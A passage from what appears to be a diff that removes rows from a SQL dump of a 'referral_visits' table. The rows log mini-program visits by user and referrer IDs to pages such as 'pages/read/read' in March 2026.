'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-03-06 22:43:03'); -INSERT INTO `referral_visits` VALUES (399, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-03-06 22:43:03'); -INSERT INTO `referral_visits` VALUES (400, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-07 00:46:05'); -INSERT INTO `referral_visits` VALUES (401, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-07 00:46:05'); -INSERT INTO `referral_visits` VALUES (402, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-07 00:46:05'); -INSERT INTO `referral_visits` VALUES (403, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-07 01:10:06'); -INSERT INTO `referral_visits` VALUES (404, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-07 01:10:06'); -INSERT INTO `referral_visits` VALUES (405, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-07 01:10:06'); -INSERT INTO `referral_visits` VALUES (406, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5cRhoPR9kuKcIcp3sOcJHqI', 'ogpTW5cRhoPR9kuKcIcp3sOcJHqI', 'miniprogram', 'pages/read/read', '2026-03-07 01:10:22'); -INSERT INTO `referral_visits` VALUES (407, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5cRhoPR9kuKcIcp3sOcJHqI', 'ogpTW5cRhoPR9kuKcIcp3sOcJHqI', 'miniprogram', 'pages/read/read', '2026-03-07 01:10:24'); -INSERT INTO `referral_visits` VALUES (408, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5cRhoPR9kuKcIcp3sOcJHqI', 'ogpTW5cRhoPR9kuKcIcp3sOcJHqI', 'miniprogram', 'pages/read/read', '2026-03-07 01:10:25'); -INSERT INTO `referral_visits` VALUES (409, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-07 01:24:44'); -INSERT INTO `referral_visits` VALUES (410, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-07 01:24:44'); -INSERT INTO `referral_visits` VALUES (411, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-07 01:24:44'); -INSERT INTO `referral_visits` VALUES (412, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-03-07 15:12:11'); -INSERT INTO `referral_visits` VALUES (413, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-03-07 15:12:11'); -INSERT INTO `referral_visits` VALUES (414, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-03-07 15:12:11'); -INSERT INTO `referral_visits` VALUES (415, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-03-07 15:12:17'); -INSERT INTO `referral_visits` VALUES (416, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-08 22:53:27'); -INSERT INTO `referral_visits` VALUES (417, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-08 22:53:27'); -INSERT INTO `referral_visits` VALUES (418, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-08 22:53:27'); -INSERT INTO `referral_visits` VALUES (419, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-03-08 23:02:53'); -INSERT INTO `referral_visits` VALUES (420, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-03-08 23:02:53'); -INSERT INTO `referral_visits` VALUES (421, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-03-08 23:02:53'); -INSERT INTO `referral_visits` VALUES (422, 'ogpTW5YiTXYBuwQMe7Z3wFOv_Jy4', 'ogpTW5YiTXYBuwQMe7Z3wFOv_Jy4', 'ogpTW5YiTXYBuwQMe7Z3wFOv_Jy4', 'miniprogram', NULL, '2026-03-08 23:53:18'); -INSERT INTO `referral_visits` VALUES (423, 'ogpTW5YiTXYBuwQMe7Z3wFOv_Jy4', 'ogpTW5YiTXYBuwQMe7Z3wFOv_Jy4', 'ogpTW5YiTXYBuwQMe7Z3wFOv_Jy4', 'miniprogram', NULL, '2026-03-08 23:53:18'); -INSERT INTO `referral_visits` VALUES (424, 'ogpTW5YiTXYBuwQMe7Z3wFOv_Jy4', 'ogpTW5YiTXYBuwQMe7Z3wFOv_Jy4', 'ogpTW5YiTXYBuwQMe7Z3wFOv_Jy4', 'miniprogram', 'pages/read/read', '2026-03-08 23:53:18'); -INSERT INTO `referral_visits` VALUES (425, 'ogpTW5YiTXYBuwQMe7Z3wFOv_Jy4', 'ogpTW5YiTXYBuwQMe7Z3wFOv_Jy4', 'ogpTW5YiTXYBuwQMe7Z3wFOv_Jy4', 'miniprogram', 'pages/read/read', '2026-03-08 23:53:51'); -INSERT INTO `referral_visits` VALUES (426, 'ogpTW5YiTXYBuwQMe7Z3wFOv_Jy4', 'ogpTW5YiTXYBuwQMe7Z3wFOv_Jy4', 'ogpTW5YiTXYBuwQMe7Z3wFOv_Jy4', 'miniprogram', 'pages/read/read', '2026-03-08 23:53:51'); -INSERT INTO `referral_visits` VALUES (427, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-03-09 03:23:06'); -INSERT INTO `referral_visits` VALUES (428, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-03-09 03:23:06'); -INSERT INTO `referral_visits` VALUES (429, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-10 03:16:07'); -INSERT INTO `referral_visits` VALUES (430, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-10 03:16:08'); -INSERT INTO `referral_visits` VALUES (431, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 03:16:14'); -INSERT INTO `referral_visits` VALUES (432, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 06:37:40'); -INSERT INTO `referral_visits` VALUES (433, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 06:37:40'); -INSERT INTO `referral_visits` VALUES (434, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 06:37:40'); -INSERT INTO `referral_visits` VALUES (435, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 06:37:51'); -INSERT INTO `referral_visits` VALUES (436, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 06:37:51'); -INSERT INTO `referral_visits` VALUES (437, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 06:37:51'); -INSERT INTO `referral_visits` VALUES (438, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-03-10 06:38:22'); -INSERT INTO `referral_visits` VALUES (439, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-03-10 06:38:22'); -INSERT INTO `referral_visits` VALUES (440, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-03-10 06:38:23'); -INSERT INTO `referral_visits` VALUES (441, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 06:38:50'); -INSERT INTO `referral_visits` VALUES (442, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 06:38:50'); -INSERT INTO `referral_visits` VALUES (443, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 06:38:51'); -INSERT INTO `referral_visits` VALUES (444, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 06:38:57'); -INSERT INTO `referral_visits` VALUES (445, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 06:38:57'); -INSERT INTO `referral_visits` VALUES (446, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 06:39:10'); -INSERT INTO `referral_visits` VALUES (447, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 06:47:50'); -INSERT INTO `referral_visits` VALUES (448, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 06:47:50'); -INSERT INTO `referral_visits` VALUES (449, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 06:47:50'); -INSERT INTO `referral_visits` VALUES (450, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 06:49:59'); -INSERT INTO `referral_visits` VALUES (451, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 06:49:59'); -INSERT INTO `referral_visits` VALUES (452, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 06:49:59'); -INSERT INTO `referral_visits` VALUES (453, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 06:49:59'); -INSERT INTO `referral_visits` VALUES (454, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 06:49:59'); -INSERT INTO `referral_visits` VALUES (455, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 06:49:59'); -INSERT INTO `referral_visits` VALUES (456, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 06:50:06'); -INSERT INTO `referral_visits` VALUES (457, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 06:50:06'); -INSERT INTO `referral_visits` VALUES (458, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 06:50:06'); -INSERT INTO `referral_visits` VALUES (459, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 06:50:11'); -INSERT INTO `referral_visits` VALUES (460, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 06:50:11'); -INSERT INTO `referral_visits` VALUES (461, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 06:50:11'); -INSERT INTO `referral_visits` VALUES (462, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', NULL, '2026-03-10 06:50:15'); -INSERT INTO `referral_visits` VALUES (463, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', NULL, '2026-03-10 06:50:15'); -INSERT INTO `referral_visits` VALUES (464, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-03-10 06:50:15'); -INSERT INTO `referral_visits` VALUES (465, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 06:50:20'); -INSERT INTO `referral_visits` VALUES (466, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 06:50:20'); -INSERT INTO `referral_visits` VALUES (467, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 06:50:20'); -INSERT INTO `referral_visits` VALUES (468, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 06:50:22'); -INSERT INTO `referral_visits` VALUES (469, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 06:50:22'); -INSERT INTO `referral_visits` VALUES (470, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 06:50:22'); -INSERT INTO `referral_visits` VALUES (471, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 06:50:42'); -INSERT INTO `referral_visits` VALUES (472, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 06:50:42'); -INSERT INTO `referral_visits` VALUES (473, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', NULL, '2026-03-10 06:50:57'); -INSERT INTO `referral_visits` VALUES (474, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', NULL, '2026-03-10 06:50:57'); -INSERT INTO `referral_visits` VALUES (475, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-03-10 06:50:57'); -INSERT INTO `referral_visits` VALUES (476, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-03-10 06:51:13'); -INSERT INTO `referral_visits` VALUES (477, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 06:51:58'); -INSERT INTO `referral_visits` VALUES (478, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 06:51:58'); -INSERT INTO `referral_visits` VALUES (479, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 06:51:58'); -INSERT INTO `referral_visits` VALUES (480, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 06:52:33'); -INSERT INTO `referral_visits` VALUES (481, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 06:53:28'); -INSERT INTO `referral_visits` VALUES (482, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 06:53:28'); -INSERT INTO `referral_visits` VALUES (483, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-03-10 06:53:28'); -INSERT INTO `referral_visits` VALUES (484, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-03-10 06:53:28'); -INSERT INTO `referral_visits` VALUES (485, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-03-10 06:53:28'); -INSERT INTO `referral_visits` VALUES (486, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 07:02:13'); -INSERT INTO `referral_visits` VALUES (487, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 07:02:13'); -INSERT INTO `referral_visits` VALUES (488, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 07:02:14'); -INSERT INTO `referral_visits` VALUES (489, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 07:02:14'); -INSERT INTO `referral_visits` VALUES (490, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 07:02:14'); -INSERT INTO `referral_visits` VALUES (491, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-03-10 07:04:12'); -INSERT INTO `referral_visits` VALUES (492, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 07:18:18'); -INSERT INTO `referral_visits` VALUES (493, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 07:18:18'); -INSERT INTO `referral_visits` VALUES (494, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 07:18:18'); -INSERT INTO `referral_visits` VALUES (495, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 07:21:56'); -INSERT INTO `referral_visits` VALUES (496, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 07:21:56'); -INSERT INTO `referral_visits` VALUES (497, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 07:21:56'); -INSERT INTO `referral_visits` VALUES (498, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 07:28:59'); -INSERT INTO `referral_visits` VALUES (499, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 07:28:59'); -INSERT INTO `referral_visits` VALUES (500, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 07:28:59'); -INSERT INTO `referral_visits` VALUES (501, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 07:55:13'); -INSERT INTO `referral_visits` VALUES (502, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 07:55:13'); -INSERT INTO `referral_visits` VALUES (503, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 07:55:13'); -INSERT INTO `referral_visits` VALUES (504, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 07:55:17'); -INSERT INTO `referral_visits` VALUES (505, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 07:55:17'); -INSERT INTO `referral_visits` VALUES (506, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 07:55:17'); -INSERT INTO `referral_visits` VALUES (507, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 07:55:21'); -INSERT INTO `referral_visits` VALUES (508, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 07:55:25'); -INSERT INTO `referral_visits` VALUES (509, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 07:55:25'); -INSERT INTO `referral_visits` VALUES (510, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 07:55:25'); -INSERT INTO `referral_visits` VALUES (511, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 07:55:26'); -INSERT INTO `referral_visits` VALUES (512, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 07:55:26'); -INSERT INTO `referral_visits` VALUES (513, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 07:55:26'); -INSERT INTO `referral_visits` VALUES (514, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 07:55:59'); -INSERT INTO `referral_visits` VALUES (515, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 08:05:48'); -INSERT INTO `referral_visits` VALUES (516, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 08:05:48'); -INSERT INTO `referral_visits` VALUES (517, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 08:05:48'); -INSERT INTO `referral_visits` VALUES (518, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 08:08:31'); -INSERT INTO `referral_visits` VALUES (519, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 08:08:31'); -INSERT INTO `referral_visits` VALUES (520, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 08:08:32'); -INSERT INTO `referral_visits` VALUES (521, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 08:12:56'); -INSERT INTO `referral_visits` VALUES (522, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 08:12:56'); -INSERT INTO `referral_visits` VALUES (523, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 08:12:56'); -INSERT INTO `referral_visits` VALUES (524, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 08:12:56'); -INSERT INTO `referral_visits` VALUES (525, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 08:12:56'); -INSERT INTO `referral_visits` VALUES (526, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 08:12:57'); -INSERT INTO `referral_visits` VALUES (527, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 08:14:00'); -INSERT INTO `referral_visits` VALUES (528, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 08:14:00'); -INSERT INTO `referral_visits` VALUES (529, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 08:14:00'); -INSERT INTO `referral_visits` VALUES (530, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 08:15:20'); -INSERT INTO `referral_visits` VALUES (531, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 08:16:01'); -INSERT INTO `referral_visits` VALUES (532, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 08:16:01'); -INSERT INTO `referral_visits` VALUES (533, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 08:16:01'); -INSERT INTO `referral_visits` VALUES (534, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 08:16:29'); -INSERT INTO `referral_visits` VALUES (535, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 08:16:29'); -INSERT INTO `referral_visits` VALUES (536, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 08:16:29'); -INSERT INTO `referral_visits` VALUES (537, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 08:17:07'); -INSERT INTO `referral_visits` VALUES (538, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 08:17:07'); -INSERT INTO `referral_visits` VALUES (539, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 08:17:07'); -INSERT INTO `referral_visits` VALUES (540, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 08:39:02'); -INSERT INTO `referral_visits` VALUES (541, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', NULL, '2026-03-10 08:39:02'); -INSERT INTO `referral_visits` VALUES (542, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-10 08:39:02'); -INSERT INTO `referral_visits` VALUES (543, 